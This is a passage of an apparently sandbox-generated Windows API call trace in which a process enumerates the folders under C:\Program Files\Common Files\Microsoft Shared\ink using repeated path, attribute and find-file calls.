hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.505] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0077.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI", lpFilePart=0x0) returned 0x38 [0077.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI", lpFilePart=0x0) returned 0x38 [0077.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.505] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.505] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0077.505] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0077.506] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.506] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI", lpFilePart=0x0) returned 0x38 [0077.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.506] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.506] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR", lpFilePart=0x0) returned 0x38 [0077.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.506] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR", lpFilePart=0x0) returned 0x38 [0077.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.506] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.506] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR", lpFilePart=0x0) returned 0x38 [0077.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.507] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.507] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", lpFilePart=0x0) returned 0x40 [0077.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0077.507] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", lpFilePart=0x0) returned 0x40 [0077.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.507] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.507] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad", lpFilePart=0x0) returned 0x47 [0077.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.507] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad", lpFilePart=0x0) returned 0x47 [0077.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.507] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.507] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad", lpFilePart=0x0) returned 0x47 [0077.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.508] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.508] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad", lpFilePart=0x0) returned 0x47 [0077.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.508] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad", lpFilePart=0x0) returned 0x47 [0077.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.508] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.508] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad", lpFilePart=0x0) returned 0x47 [0077.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.508] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.508] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", lpFilePart=0x0) returned 0x45 [0077.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0077.508] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", lpFilePart=0x0) returned 0x45 [0077.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.509] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.509] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", lpFilePart=0x0) returned 0x45 [0077.509] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.510] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.510] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers", lpFilePart=0x0) returned 0x48 [0077.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.510] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers", lpFilePart=0x0) returned 0x48 [0077.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.511] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.511] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers", lpFilePart=0x0) returned 0x48 [0077.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.511] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.511] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu", lpFilePart=0x0) returned 0x48 [0077.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.511] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu", lpFilePart=0x0) returned 0x48 [0077.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.511] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.511] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu", lpFilePart=0x0) returned 0x48 [0077.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.511] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.512] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad", lpFilePart=0x0) returned 0x4a [0077.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.512] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad", lpFilePart=0x0) returned 0x4a [0077.512] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.512] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.512] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad", lpFilePart=0x0) returned 0x4a [0077.512] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.512] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.512] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred", lpFilePart=0x0) returned 0x48 [0077.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.512] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred", lpFilePart=0x0) returned 0x48 [0077.512] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.512] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.513] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred", lpFilePart=0x0) returned 0x48 [0077.513] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.513] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.513] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols", lpFilePart=0x0) returned 0x48 [0077.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.513] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols", lpFilePart=0x0) returned 0x48 [0077.513] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.513] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.513] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols", lpFilePart=0x0) returned 0x48 [0077.513] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.513] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.513] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web", lpFilePart=0x0) returned 0x44 [0077.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.513] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web", lpFilePart=0x0) returned 0x44 [0077.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.514] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.514] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web", lpFilePart=0x0) returned 0x44 [0077.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9558 [0077.514] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.514] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", lpFilePart=0x0) returned 0x40 [0077.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.514] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.514] GetFullPathNameW (in: 